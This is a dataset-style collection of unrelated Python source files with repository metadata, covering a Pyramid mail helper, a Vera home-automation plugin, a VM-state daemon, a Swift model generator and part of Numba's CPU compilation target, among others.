null
null
null
null
null
# -*- coding: utf-8 -*- import index as ix ix.load() imgs=sorted(ix.picture.pictures(), key=lambda p:p.rating) blogs=sorted(ix.tumblr.blogs(), key=lambda t:t.avg_img_rating()) print 'distributing blog scores...' scores=ix.tumblr.dist_scores() print 'sorting blogs by score' hi=sorted(scores.items(), key=lambda t:t[1]) stars = {} for p in imgs[-40:]: t = p.origin if t: stars[t] = stars.get(t,0)+p.rating print ' '.join(['name','stars','imgs','local/blog', 'links','in/out']), print 'avg* - SCORE' print '_'*75 for t,s in sorted(stars.items(),key=lambda x:x[1]): print u'{} - {}* {}/{}imgs ⇶{}/{}⇶'.format( t.name,s,len(t.proper_imgs),len(t.images), len(t.linked),len(t.links)), print '{:.2f}* - score {:.2f}'.format(t.avg_img_rating(), scores.get(t)) print 'ok'
UTF-8
Python
false
false
2,014
13,821,204,784,699
e29969d8231ebcd7b0b111c3f78f3c82bb4ae89e
73361fc6f7ecd9a19359a828b2574499a991bde4
/gallery2/lib/mail.py
3fb858ff6cfbc9758baf7e05085318edab4f3174
[]
no_license
danjac/gallery2
https://github.com/danjac/gallery2
3a28cd3ca364a30eaf277bfd9db3cac72dd2463a
ff8c50bdfc30d9ac5fff910589b7f976a4b40bcf
refs/heads/master
2020-05-19T07:59:00.047308
2014-01-15T13:44:06
2014-01-15T13:44:06
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from pyramid.renderers import render from pyramid_mailer import get_mailer from pyramid_mailer.message import Message def get_rendered_mail(request, subject, recipients, sender=None, context=None, renderer=None, text_renderer=None, html_renderer=None, **kwargs): context = context or {} if renderer: # base truncated name text_renderer = 'emails/%s.text.jinja2' % renderer html_renderer = 'emails/%s.html.jinja2' % renderer if not text_renderer: raise ValueError("text_renderer required") message = Message(subject=subject, recipients=recipients, sender=sender) message.body = render(text_renderer, context, request) if html_renderer: message.html = render(html_renderer, context, request) return message def send_rendered_mail(request, *args, **kwargs): return get_mailer(request).send( get_rendered_mail(request, *args, **kwargs))
UTF-8
Python
false
false
2,014
17,763,984,743,222
ead95cad9cedf7caf6c410f8c073e35b355ac143
16edda1c468bf77c904153bcddd469cb877bfddd
/carrot/backends/__init__.py
3f3cc32074d0d54598e9de37c608a67e650efe92
[ "BSD-3-Clause" ]
permissive
runeh/carrot
https://github.com/runeh/carrot
0f8243dc86f0319f84046c08c541f183f0904147
9225fd97968bab7fa7ae1e9648dc87602c8c310f
refs/heads/master
2021-01-18T05:15:45.650849
2009-06-01T21:20:01
2009-06-01T21:20:01
195,789
3
0
null
null
null
null
null
null
null
null
null
null
null
null
null
"""carrot.backends""" import sys from functools import partial """ .. data:: DEFAULT_BACKEND Name of the default backend used. If running under Django, this will be the value of ``settings.CARROT_BACKEND``. """ DEFAULT_BACKEND = "pyamqplib" try: from django.conf import settings DEFAULT_BACKEND = getattr(settings, "CARROT_BACKEND", DEFAULT_BACKEND) except ImportError: pass def get_backend_cls(backend): """Get backend class by name. If the name does not include "``.``" (is not fully qualified), ``"carrot.backends."`` will be prepended to the name. e.g. ``"pyqueue"`` becomes ``"carrot.backends.pyqueue"``. """ if backend.find(".") == -1: backend = "carrot.backends.%s" % backend __import__(backend) backend_module = sys.modules[backend] return getattr(backend_module, "Backend") """ .. function:: get_default_backend_cls() Get the default backend class. Default is ``DEFAULT_BACKEND``. """ get_default_backend_cls = partial(get_backend_cls, DEFAULT_BACKEND) """ .. class:: DefaultBackend The default backend class. This is the class specified in ``DEFAULT_BACKEND``. """ DefaultBackend = get_default_backend_cls()
UTF-8
Python
false
false
2,009
498,216,239,302
73a4b940c4e9f84bd773780bc0b8e2b692e8395b
0a2ee861dfe88e6f3a0626e92df1aca86c5f82b5
/insekta/scenario/management/commands/vmd.py
dfcb2f8acf69d8b7cac229293f422bb6c1c0a779
[ "MIT" ]
permissive
0x64746b/Insekta
https://github.com/0x64746b/Insekta
880199c00658b1a7e9022d9e2fe6d401f7e40f43
9740e513bf6abfe4681addbd74997725b4df082d
refs/heads/master
2021-01-17T06:58:52.807915
2012-01-20T19:37:05
2012-01-20T19:37:05
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from __future__ import print_function import time import signal from django.core.management.base import NoArgsCommand from insekta.common.virt import connections from insekta.scenario.models import RunTaskQueue, ScenarioError MIN_SLEEP = 1.0 class Command(NoArgsCommand): help = 'Manages the state changes of virtual machines' def handle_noargs(self, **options): self.run = True signal.signal(signal.SIGINT, lambda sig, frame: self.stop()) signal.signal(signal.SIGTERM, lambda sig, frame: self.stop()) last_call = time.time() while self.run: for task in RunTaskQueue.objects.all(): try: self._handle_task(task) except ScenarioError: # This can happen if someone manages the vm manually. # We can just ignore it, it does no harm pass task.delete() current_time = time.time() time_passed = current_time - last_call if time_passed < MIN_SLEEP: time.sleep(MIN_SLEEP - time_passed) last_call = current_time connections.close() def _handle_task(self, task): scenario_run = task.scenario_run db_state = scenario_run.state scenario_run.refresh_state() if scenario_run.state != db_state: scenario_run.save() # Scenario run was deleted in a previous task, we need to ignore # all further task actions except create if scenario_run.state == 'disabled' and task.action != 'create': return if task.action == 'create': if scenario_run.state == 'disabled': scenario_run.create_domain() elif task.action == 'start': if scenario_run.state == 'stopped': scenario_run.start() elif task.action == 'stop': if scenario_run.state == 'started': scenario_run.stop() elif task.action == 'suspend': if scenario_run.state == 'started': scenario_run.suspend() elif task.action == 'resume': if scenario_run.state == 'suspended': scenario_run.resume() elif task.action == 'destroy': scenario_run.destroy_domain() scenario_run.delete() def stop(self): print('Stopping, please wait a few moments.') self.run = False
UTF-8
Python
false
false
2,012
12,154,757,463,052
cbb4fe29c2c93af7f43b4dd5c91280e3bf501763
4e291a47946a81fff04a8027551ffc63d6063e6e
/medium/decodenumbers.py
9ad0f46009036f69b0a34103adf8b6140d49cae8
[]
no_license
samridh90/CodeEval
https://github.com/samridh90/CodeEval
a3cfa7e147cd2421ce05a44edd393064984ca7e2
f3f0e075f50aa1dd20858e808750d5b36229d7e2
refs/heads/master
2021-03-12T23:00:02.799584
2014-01-26T13:12:51
2014-01-26T13:12:51
15,679,979
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from sys import argv MAX_VAL = 26 def getNumberDecodings(msg): if not msg or len(msg) == 1: return 1 count = 0 num_chrs = 1 while True: chars = msg[:num_chrs] if len(chars) != num_chrs: break if int(chars) > MAX_VAL: break count += getNumberDecodings(msg[num_chrs:]) num_chrs += 1 return count if __name__ == '__main__': ipList = open(argv[1]).readlines() for ip in ipList: ip = ip.strip() print getNumberDecodings(ip)
UTF-8
Python
false
false
2,014
1,881,195,708,463
6229811ddb0153f5527cbb944dd688d6f13e66f6
96c35a7fd4a2a17c0e4be577496e9c75699bb866
/generate_model.py
7169d429f0ac45b3391d45f41e33512e4c5387df
[]
no_license
jqsilver/modelgen
https://github.com/jqsilver/modelgen
16e6f9694afb834f3b5e7494f3e15666d0e734b5
9101018e91c4ce222efa176673af5b9e3921f5f7
refs/heads/master
2016-09-05T18:08:32.843159
2014-10-20T20:23:13
2014-10-20T20:23:13
25,374,791
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/bin/python import json import jinja2 import string def getTemplate(name): return env.get_template(name) def validateMapping(class_json, json_to_property): mapped_properties = json_to_property.values() for prop_name in class_json["properties"].keys(): if prop_name not in mapped_properties: print "// missing "+prop_name return False return True # formats a (prop_name, prop_type) tuple into an argument. # takes a tuple for easy calling with map def formatForArgument(property_tuple): (prop_name, prop_type) = property_tuple return prop_name+": "+prop_type #set up templates loader = jinja2.FileSystemLoader(searchpath="./templates") env = jinja2.Environment(loader=loader, trim_blocks=True, lstrip_blocks=True) env.filters['formatForArgument'] = formatForArgument template = env.get_template('class.swift') #template = env.get_template('test.txt') class_spec_json = json.loads(open('./example/ExampleSpec.json', 'r').read()) json_key_to_property = json.loads(open('./example/ExampleMapping.json', 'r').read()) if not validateMapping(class_spec_json, json_key_to_property): print "// Missing required properties in mapping" # TODO: figure out how to do this in Jinja instead #class_spec_json['arg_list'] = ", ".join([prop_name+": "+prop_type for prop_name, prop_type in class_spec_json['properties'].items()]) def formatForArgumentWithCast(mapping_tuple): (json_key, prop_name) = mapping_tuple prop_type = class_spec_json["properties"][prop_name] return '{0}: json["{1}"] as {2}'.format(prop_name, json_key, prop_type) env.filters['formatForArgumentWithCast'] = formatForArgumentWithCast class_spec_json['json_key_to_property'] = json_key_to_property print template.render(class_spec_json) # just had this crazy idea that could curry the initializer
UTF-8
Python
false
false
2,014
12,438,225,319,652
10b446d170560409fd1be10ae9ea105e5e643949
caa4e256c61bca5f9f9f472f9d2504bfc1eec1c5
/1-100/p3.py
9dd8661643b3a488c02573bf8c02cae70092c312
[]
no_license
g-jackson/spoj
https://github.com/g-jackson/spoj
445b1171817c6954c0c93f981c4f8b3a459d0919
c106eebfe439a68ece6210a1342b9046d3d8ddb0
refs/heads/master
2016-09-03T00:55:12.208600
2014-06-05T14:20:20
2014-06-05T14:20:20
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys for x in range (24): line = sys.stdin.readline().split() x = line[0] y = line[1] if y in x: print 1 else: print 0
UTF-8
Python
false
false
2,014
5,308,579,586,745
52214f91851387857c406a1e7e55b760af81e5cc
d5f77d78fb7c997d430feb8c324cc71177c53d77
/__init__.py
34c979d169241078023c69d9f3040a6cc70d42e9
[]
no_license
acha21/LSTD
https://github.com/acha21/LSTD
7b489ede5928f21d2d2421f4b891d1a6839e88f4
62fd1737196fd28417b5176b7b49adc09d9e2f64
refs/heads/master
2021-01-22T09:42:11.713295
2014-10-29T08:39:11
2014-10-29T08:39:11
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Jun 16 20:10:36 2014 @author: yeonchan """
UTF-8
Python
false
false
2,014
6,313,601,967,609
6a826fb8c65bdd5cca88c3829f064a0dcc4a0be5
bdd2d24abf63b81be6504b3555bda9558d7f45cd
/mysite/polls/views.py
cc2abdc8211b3ede4362c61b4a1fc22f679a3df2
[]
no_license
dibaggioj/virtualenv_python-3-3_django
https://github.com/dibaggioj/virtualenv_python-3-3_django
fc9e06a09b1c892515edf858239aa4a033ffcba0
81965bbba681a6de0f14e16b716b95c09d1a8465
refs/heads/master
2021-01-01T16:45:01.045364
2014-12-14T22:35:28
2014-12-14T22:35:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.shortcuts import get_object_or_404, render from django.http import Http404 from django.http import HttpResponseRedirect, HttpResponse from django.core.urlresolvers import reverse from django.utils import timezone from django.views import generic #from django.template import RequestContext, loader from django.shortcuts import render_to_response from django.template.context import RequestContext from polls.models import Choice, Question from polls.forms import QuestionForm # Create your views here. # Using two generic views: ListView and DetailView, to display a list of objects and display a detail page for a # particular type of object respectively class IndexView(generic.ListView): template_name = 'polls/index.html' context_object_name = 'latest_question_list' def get_queryset(self): """ Return the last five published questions. """ return Question.objects.filter( # returns a queryset containing Questions whose pub_date is less than or equal # to - that is, earlier than or equal to - timezone.now pub_date__lte=timezone.now() ).order_by('-pub_date')[:5] class DetailView(generic.DetailView): model = Question template_name = 'polls/detail.html' def get_queryset(self): """Excludes any questions that aren't published yet""" return Question.objects.filter(pub_date__lte=timezone.now()) class ResultsView(generic.DetailView): model = Question template_name = 'polls/results.html' def get_queryset(self): """Excludes any questions that aren't published yet""" return Question.objects.filter(pub_date__lte=timezone.now()) def vote(request, question_id): p = get_object_or_404(Question, pk=question_id) try: selected_choice = p.choice_set.get(pk=request.POST['choice']) # request.POST['choice'] returns the ID of the # selected choice, as a string (note: request.POST values are always strings). Unlike request.GET (which also # accesses GET data in the same way), request.POST alters data via a POST call except (KeyError, Choice.DoesNotExist): # Redisplay the question voting form. return render(request, 'polls/detail.html', { 'question': p, 'error_message': "You didn't select a choice.", }) else: selected_choice.votes += 1 selected_choice.save() return HttpResponseRedirect(reverse('polls:results', args=(p.id,))) # Redirect to results page. # Unlike HttpResponse, HttpResponseRedirect takes a single argument: the URL to which the user will be # redirected (see the following point for how we construct the URL in this case). Using the reverse() # function helps avoid hacing to hardcode a URL in the view function; it is given the name of the view we # want to pass control to and the variable portion of the URL pattern that points to the view Original: # return HttpResponse("You're voting on question %s." % question_id) # Always return an HttpResponseRedirect after successfully dealing with Post data. This prevents data from # being posted twice if a user his the Back button def get_question(request): # if this is a POST request we need to process the form data if request.method == 'POST': # create a form instance and populate it with data from the request: form = QuestionForm(request.POST) # check whether it's valid: if form.is_valid(): question_body = request.POST.get('your_question', '') new_question = Question(question_text=question_body, pub_date=timezone.now()) new_question.save() characters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w', 'x','y','z'] for i in range(0, 5): answer_text = 'your_answer_' + characters[i] new_answer = request.POST.get(answer_text, '') if new_answer != '': new_choice = Choice(question=new_question, choice_text=new_answer, votes=0) new_choice.save() # process the data in form.cleansed_data as required # ... # redirect to a new URL: return HttpResponseRedirect('/polls/') # if a GET (or any other method) we'll create a blank form else: form = QuestionForm() return render(request, 'polls/question.html', {'form': form})
UTF-8
Python
false
false
2,014
11,905,649,363,507
3284617926a7cd752566725588c08d4f6a7d2d2d
71b7e246bf7ca963221463da7d04770ba5ff3994
/experiments/computation/themain.py
6cf31b82d743f0eaa45b4cbe3f218592638ec60f
[]
no_license
paskma/framework-parlib
https://github.com/paskma/framework-parlib
d82f29160eba2d9883ccabac8e398a32f165bd17
aa5caf4e01f159da611f09210ebc1c8d0ffadef6
refs/heads/master
2021-01-10T22:05:45.259390
2013-03-25T09:30:03
2013-03-25T09:30:03
4,039,715
2
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from sys import argv from math import pi, sin from parlib.directive import POSIX #from parlib.rmath import sin #supported only for C, does not bring a speedup def computation_poly(): result = 0.0 delta = 1e-9 start = 0.0 stop = 1.0 x = start while x <= stop: y = (x * x + 7.0 * x + 1) / 3.0 result += delta * y x += delta return result def computation_sin(): result = 0.0 delta = 1e-8 start = 0.0 stop = pi/2.0 x = start while x <= stop: y = sin(x) result += delta * y x += delta return result def main(argv): try: n = int(argv[1]) except: n = 0 if n == 0: x = computation_poly() elif n == 1: x = computation_sin() else: x = -1 print n, " ", x if __name__ == "__main__": from sys import argv main(argv) def entry_point(argv): if POSIX: from parlib.rthreading import init_threads init_threads() main(argv) return 0 def target(*argv): return entry_point, None
UTF-8
Python
false
false
2,013
12,627,203,867,783
613383c635c4dd6f7f350035ee13db9d1458f6ae
a8e7b19e916236e0d6e561d5b539d697e39f17cb
/exact.py
2ba03f68c897b778ff5f36e97b27c29fa048052d
[]
no_license
ivyl/graph-security
https://github.com/ivyl/graph-security
32e4cef8ddebdcc1ec0b0073e269f9b6faba2e9b
d098455b35fc5917ace9bd4678f2d605cee64e0f
refs/heads/master
2016-09-07T19:05:38.096763
2014-02-11T11:48:53
2014-02-11T11:48:53
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import itertools def all_subsets(iterable): xs = list(iterable) combinations = [itertools.combinations(xs,n) for n in range(len(xs)+1)] return itertools.chain.from_iterable(combinations) def is_graph_secure(gs): secure_subsets = all_subsets(gs.secure_node_set) for subset in secure_subsets: if not gs.sec_condition(subset): print subset return (False, len(subset)) return (True, 0)
UTF-8
Python
false
false
2,014
12,790,412,627,479
a5502cc0869b6e67793bbb6a00bb5ed22dc80397
5e0caebe9538b8520bce520fb265951e7718a94b
/visualization/data/formatjson.py
19bd13e201dccc309b57c6ed422854e45a0be992
[]
no_license
joulesm/Interest-Networks
https://github.com/joulesm/Interest-Networks
3be50981db7ea6b410ca6da1ed0d28f2f75a78c7
f32b2ec6c10fc1a508efd3682046092016de562b
refs/heads/master
2016-09-05T16:23:51.374919
2012-05-25T18:17:08
2012-05-25T18:17:08
4,448,616
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import json json_data = open('interests.json').read() temp = json.loads(json_data) writer = open('p-interests.json', 'w') writer.write(json.dumps(temp, sort_keys=True, indent=4))
UTF-8
Python
false
false
2,012
11,287,174,103,557
5d20293a1f9d02cf00a0f6407635abc208687f04
c0921576b014b81b92b309345dbc50fa5cdcf778
/Vera/__init__.py
3649266b25fe86eccfd048ed50cb7f7938243a3a
[]
no_license
naething/vera-eventghost
https://github.com/naething/vera-eventghost
32b1404dff9cf8c98125e1333c61060252f7df74
5dd032e3ea8af0fd02351fc395bd6c4bc975bc8a
refs/heads/master
2021-01-19T11:39:56.458042
2013-03-30T15:06:07
2013-03-30T15:06:07
5,215,610
5
1
null
null
null
null
null
null
null
null
null
null
null
null
null
import eg import urllib import json from VeraClient import * from VeraDevice import * from VeraAsyncDispatcher import * eg.RegisterPlugin( name = "MiCasaVerde Vera", author = "Rick Naething", version = "0.0.4", kind = "other", description = "Control Over Devices on Vera" ) #----------------------------------------------------------------------------- class Vera(eg.PluginBase): def __init__(self): self.AddAction(SetSwitchPower) self.AddAction(SetDimming) self.AddAction(RunScene) self.HTTP_API = VERA_HTTP_API() self.dispatcher = VeraAsyncDispatcher() self.vera = [] self.verbose = True eg.RestartAsyncore() def Configure(self, ip="127.0.0.1", port="3480", verbose=True): panel = eg.ConfigPanel() textControl = wx.TextCtrl(panel, -1, ip) textControl2 = wx.TextCtrl(panel, -1, port) checkbox = panel.CheckBox(verbose, 'Verbose Outputs') panel.sizer.Add(wx.StaticText(panel, -1, "IP address of Vera")) panel.sizer.Add(textControl) panel.sizer.Add(textControl2) panel.sizer.Add(checkbox) while panel.Affirmed(): panel.SetResult(textControl.GetValue(), textControl2.GetValue(), checkbox.GetValue()) def __start__(self, ip='127.0.0.1', port='3480', verbose=True): self.ip = ip self.port = port self.verbose = verbose self.HTTP_API.connect(ip=ip, port=port) self.vera = VeraClient(ip, self.veraCallback, self.veraDebugCallback, self.dispatcher) def __stop__(self): pass def __close__(self): pass def veraCallback(self, msg, state=tuple()): # msg is either a string or a VeraDevice if isinstance(msg, VeraDevice): room = 'No Room' if msg.room in self.vera.rooms: room = self.vera.rooms[msg.room] event = room + '.' + str(msg) else: event = msg self.TriggerEvent(event) def veraDebugCallback(self, msg, msg2=False): if self.verbose: event = 'DEBUG.' + msg self.TriggerEvent(event) #----------------------------------------------------------------------------- class VERA_HTTP_API: def __init__(self): self.ip = "127.0.0.1" self.port = "3480" return def connect(self, ip=None, port=None): if ip: self.ip = ip if port: self.port = port print 'HTTP API connected' def send(self, url): try: #responce = urllib.urlopen('http://'+self.ip+':'+self.port+url).readlines() consumer = urllib.urlopen('http://'+self.ip+':'+self.port+url) responce = consumer.readlines() consumer.close() except IOError: eg.PrintError('HTTP API connection error:'+' http://'+self.ip+':'+self.port+'\n'+ url) else: return def close(self): print 'HTTP API connection closed' #----------------------------------------------------------------------------- class RunScene(eg.ActionBase): name = "Run Scene" description = "Runs a Vera Scene" def __call__(self, device): url = "/data_request?id=lu_action&serviceId=urn:micasaverde-com:serviceId:HomeAutomationGateway1&action=RunScene&SceneNum=" url += str(device) responce = self.plugin.HTTP_API.send(url) def Configure(self, device=1): panel = eg.ConfigPanel() deviceCtrl = panel.SpinIntCtrl(device) panel.AddLine("Set Device", deviceCtrl) while panel.Affirmed(): panel.SetResult(deviceCtrl.GetValue()) #----------------------------------------------------------------------------- class SetDimming(eg.ActionBase): name = "Set Light Level" description = "Sets a light to a percentage (%)." def __call__(self, device, percentage): url = "/data_request?id=lu_action&DeviceNum=" url += str(device) url += "&serviceId=urn:upnp-org:serviceId:Dimming1&action=SetLoadLevelTarget&newLoadlevelTarget=" url += str(percentage) responce = self.plugin.HTTP_API.send(url) def GetLabel(self, device, percentage): return "Set Dimmable Light: " + str(device) + ": " + str(percentage) def Configure(self, device=1, percentage=100): panel = eg.ConfigPanel() deviceCtrl = panel.SpinIntCtrl(device) valueCtrl = panel.SpinNumCtrl(percentage, min=0, max=100) panel.AddLine("Set Device", deviceCtrl) panel.AddLine("Dim to", valueCtrl, "percent.") while panel.Affirmed(): panel.SetResult(deviceCtrl.GetValue(), valueCtrl.GetValue()) #----------------------------------------------------------------------------- class SetSwitchPower(eg.ActionBase): name = "Set Binary Power" description = "Turn a switch on or off" functionList = ["Off", "On"] def __call__(self, device, value): url = "/data_request?id=lu_action&DeviceNum=" url += str(device) url += "&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=" url += str(value) responce = self.plugin.HTTP_API.send(url) def GetLabel(self, device, value): return "Set Binary Power Device: " + str(device) + ": " + self.functionList[value] def Configure(self, device=1, value=1): panel = eg.ConfigPanel() deviceCtrl = panel.SpinIntCtrl(device) functionCtrl = wx.Choice(panel, -1, choices=self.functionList) functionCtrl.SetSelection(value) panel.AddLine("Set Device", deviceCtrl) panel.AddLine("Value", functionCtrl) while panel.Affirmed(): panel.SetResult(deviceCtrl.GetValue(), functionCtrl.GetSelection())
UTF-8
Python
false
false
2,013
9,019,431,344,893
d57982aaa0758fd9e2b1bda10ecf7d3c7faccb27
be6b4181de09a50ccbd7caea58dbdbcbf90602be
/numba/targets/cpu.py
f9e89861d46c34b2271de9e8af530ad7f884b83b
[ "BSD-2-Clause" ]
permissive
pombreda/numba
https://github.com/pombreda/numba
6490c73fcc0ec5d93afac298da2f1068c0b5ce73
25326b024881f45650d45bea54fb39a7dad65a7b
refs/heads/master
2021-01-15T10:37:08.119031
2014-11-06T22:32:48
2014-11-06T22:32:48
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from __future__ import print_function, absolute_import import sys import llvm.core as lc import llvm.passes as lp import llvm.ee as le from llvm.workaround import avx_support from numba import _dynfunc, _helperlib, config from numba.callwrapper import PyCallWrapper from .base import BaseContext, PYOBJECT from numba import utils, cgutils, types from numba.targets import ( intrinsics, cmathimpl, mathimpl, npyimpl, operatorimpl, printimpl) from .options import TargetOptions def _add_missing_symbol(symbol, addr): """Add missing symbol into LLVM internal symtab """ if not le.dylib_address_of_symbol(symbol): le.dylib_add_symbol(symbol, addr) # Keep those structures in sync with _dynfunc.c. class ClosureBody(cgutils.Structure): _fields = [('env', types.pyobject)] class EnvBody(cgutils.Structure): _fields = [ ('globals', types.pyobject), ('consts', types.pyobject), ] class CPUContext(BaseContext): """ Changes BaseContext calling convention """ def init(self): self.execmodule = lc.Module.new("numba.exec") eb = le.EngineBuilder.new(self.execmodule).opt(3) # Note: LLVM 3.3 always generates vmovsd (AVX instruction) for # mem<->reg move. The transition between AVX and SSE instruction # without proper vzeroupper to reset is causing a serious performance # penalty because the SSE register need to save/restore. # For now, we will disable the AVX feature for all processor and hope # that LLVM 3.5 will fix this issue. eb.mattrs("-avx") self.tm = tm = eb.select_target() self.pm = self.build_pass_manager() self.native_funcs = utils.UniqueDict() self.cmath_provider = {} self.is32bit = (utils.MACHINE_BITS == 32) # map math functions self.map_math_functions() self.map_numpy_math_functions() # Add target specific implementations self.insert_func_defn(cmathimpl.registry.functions) self.insert_func_defn(mathimpl.registry.functions) self.insert_func_defn(npyimpl.registry.functions) self.insert_func_defn(operatorimpl.registry.functions) self.insert_func_defn(printimpl.registry.functions) # Engine creation has sideeffect to the process symbol table self.engine = eb.create(tm) def get_function_type(self, fndesc): """ Get the implemented Function type for the high-level *fndesc*. Some parameters can be added or shuffled around. This is kept in sync with call_function() and get_arguments(). Calling Convention ------------------ (Same return value convention as BaseContext target.) Returns: -2 for return none in native function; -1 for failure with python exception set; 0 for success; >0 for user error code. Return value is passed by reference as the first argument. The 2nd argument is a _dynfunc.Environment object. It MUST NOT be used if the function is in nopython mode. Actual arguments starts at the 3rd argument position. Caller is responsible to allocate space for return value. """ argtypes = [self.get_argument_type(aty) for aty in fndesc.argtypes] resptr = self.get_return_type(fndesc.restype) fnty = lc.Type.function(lc.Type.int(), [resptr, PYOBJECT] + argtypes) return fnty def declare_function(self, module, fndesc): """ Override parent to handle get_env_argument """ fnty = self.get_function_type(fndesc) fn = module.get_or_insert_function(fnty, name=fndesc.mangled_name) assert fn.is_declaration for ak, av in zip(fndesc.args, self.get_arguments(fn)): av.name = "arg.%s" % ak self.get_env_argument(fn).name = "env" fn.args[0].name = "ret" return fn def get_arguments(self, func): """Override parent to handle enviroment argument Get the Python-level arguments of LLVM *func*. See get_function_type() for the calling convention. """ return func.args[2:] def get_env_argument(self, func): """ Get the environment argument of LLVM *func* (which can be a declaration). """ return func.args[1] def call_function(self, builder, callee, resty, argtys, args, env=None): """ Call the Numba-compiled *callee*, using the same calling convention as in get_function_type(). """ if env is None: # This only works with functions that don't use the environment # (nopython functions). env = lc.Constant.null(PYOBJECT) retty = callee.args[0].type.pointee retval = cgutils.alloca_once(builder, retty) # initialize return value to zeros builder.store(lc.Constant.null(retty), retval) args = [self.get_value_as_argument(builder, ty, arg) for ty, arg in zip(argtys, args)] realargs = [retval, env] + list(args) code = builder.call(callee, realargs) status = self.get_return_status(builder, code) return status, builder.load(retval) def get_env_from_closure(self, builder, clo): """ From the pointer *clo* to a _dynfunc.Closure, get a pointer to the enclosed _dynfunc.Environment. """ clo_body_ptr = cgutils.pointer_add( builder, clo, _dynfunc._impl_info['offset_closure_body']) clo_body = ClosureBody(self, builder, ref=clo_body_ptr, cast_ref=True) return clo_body.env def get_env_body(self, builder, envptr): """ From the given *envptr* (a pointer to a _dynfunc.Environment object), get a EnvBody allowing structured access to environment fields. """ body_ptr = cgutils.pointer_add( builder, envptr, _dynfunc._impl_info['offset_env_body']) return EnvBody(self, builder, ref=body_ptr, cast_ref=True) def build_pass_manager(self): if 0 < config.OPT <= 3: # This uses the same passes for clang -O3 pms = lp.build_pass_managers(tm=self.tm, opt=config.OPT, loop_vectorize=config.LOOP_VECTORIZE, fpm=False) return pms.pm else: # This uses minimum amount of passes for fast code. # TODO: make it generate vector code tm = self.tm pm = lp.PassManager.new() pm.add(tm.target_data.clone()) pm.add(lp.TargetLibraryInfo.new(tm.triple)) # Re-enable for target infomation for vectorization # tm.add_analysis_passes(pm) passes = ''' basicaa scev-aa mem2reg sroa adce dse sccp instcombine simplifycfg loops indvars loop-simplify licm simplifycfg instcombine loop-vectorize instcombine simplifycfg globalopt globaldce '''.split() for p in passes: pm.add(lp.Pass.new(p)) return pm def map_math_functions(self): c_helpers = _helperlib.c_helpers for name in ['cpow', 'sdiv', 'srem', 'udiv', 'urem']: le.dylib_add_symbol("numba.math.%s" % name, c_helpers[name]) if sys.platform.startswith('win32') and self.is32bit: # For Windows XP __ftol2 is not defined, we will just use # __ftol as a replacement. # On Windows 7, this is not necessary but will work anyway. ftol = le.dylib_address_of_symbol('_ftol') _add_missing_symbol("_ftol2", ftol) elif sys.platform.startswith('linux') and self.is32bit: _add_missing_symbol("__fixunsdfdi", c_helpers["fptoui"]) _add_missing_symbol("__fixunssfdi", c_helpers["fptouif"]) # Necessary for Python3 le.dylib_add_symbol("numba.round", c_helpers["round_even"]) le.dylib_add_symbol("numba.roundf", c_helpers["roundf_even"]) # List available C-math for fname in intrinsics.INTR_MATH: if le.dylib_address_of_symbol(fname): # Exist self.cmath_provider[fname] = 'builtin' else: # Non-exist # Bind from C code le.dylib_add_symbol(fname, c_helpers[fname]) self.cmath_provider[fname] = 'indirect' def map_numpy_math_functions(self): # add the symbols for numpy math to the execution environment. import numba._npymath_exports as npymath for sym in npymath.symbols: le.dylib_add_symbol(*sym) def dynamic_map_function(self, func): name, ptr = self.native_funcs[func] le.dylib_add_symbol(name, ptr) def remove_native_function(self, func): """ Remove internal references to nonpython mode function *func*. KeyError is raised if the function isn't known to us. """ name, ptr = self.native_funcs.pop(func) # If the symbol wasn't redefined, NULL it out. # (otherwise, it means the corresponding Python function was # re-compiled, and the new target is still alive) if le.dylib_address_of_symbol(name) == ptr: le.dylib_add_symbol(name, 0) def optimize(self, module): self.pm.run(module) def finalize(self, func, fndesc): """Finalize the compilation. Called by get_executable(). - Rewrite intrinsics - Fix div & rem instructions on 32bit platform - Optimize python API calls """ func.module.target = self.tm.triple if self.is32bit: dmf = intrinsics.DivmodFixer() dmf.run(func.module) im = intrinsics.IntrinsicMapping(self) im.run(func.module) if not fndesc.native: self.optimize_pythonapi(func) def get_executable(self, func, fndesc, env): """ Returns ------- (cfunc, fnptr) - cfunc callable function (Can be None) - fnptr callable function address - env an execution environment (from _dynfunc) """ self.finalize(func, fndesc) cfunc = self.prepare_for_call(func, fndesc, env) return cfunc def prepare_for_call(self, func, fndesc, env): wrapper, api = PyCallWrapper(self, func.module, func, fndesc, exceptions=self.exceptions).build() self.optimize(func.module) if config.DUMP_OPTIMIZED: print(("OPTIMIZED DUMP %s" % fndesc).center(80, '-')) print(func.module) print('=' * 80) if config.DUMP_ASSEMBLY: print(("ASSEMBLY %s" % fndesc).center(80, '-')) print(self.tm.emit_assembly(func.module)) print('=' * 80) # Code gen self.engine.add_module(func.module) baseptr = self.engine.get_pointer_to_function(func) fnptr = self.engine.get_pointer_to_function(wrapper) cfunc = _dynfunc.make_function(fndesc.lookup_module(), fndesc.qualname.split('.')[-1], fndesc.doc, fnptr, env) if fndesc.native: self.native_funcs[cfunc] = fndesc.mangled_name, baseptr return cfunc def optimize_pythonapi(self, func): # Simplify the function using pms = lp.build_pass_managers(tm=self.tm, opt=1, mod=func.module) fpm = pms.fpm fpm.initialize() fpm.run(func) fpm.finalize() # remove extra refct api calls remove_refct_calls(func) def get_abi_sizeof(self, lty): return self.engine.target_data.abi_size(lty) def calc_array_sizeof(self, ndim): ''' Calculate the size of an array struct on the CPU target ''' aryty = types.Array(types.int32, ndim, 'A') return self.get_abi_sizeof(self.get_value_type(aryty)) def optimize_function(self, func): """Run O1 function passes """ pms = lp.build_pass_managers(tm=self.tm, opt=1, pm=False, mod=func.module) fpm = pms.fpm fpm.initialize() fpm.run(func) fpm.finalize() # ---------------------------------------------------------------------------- # TargetOptions class CPUTargetOptions(TargetOptions): 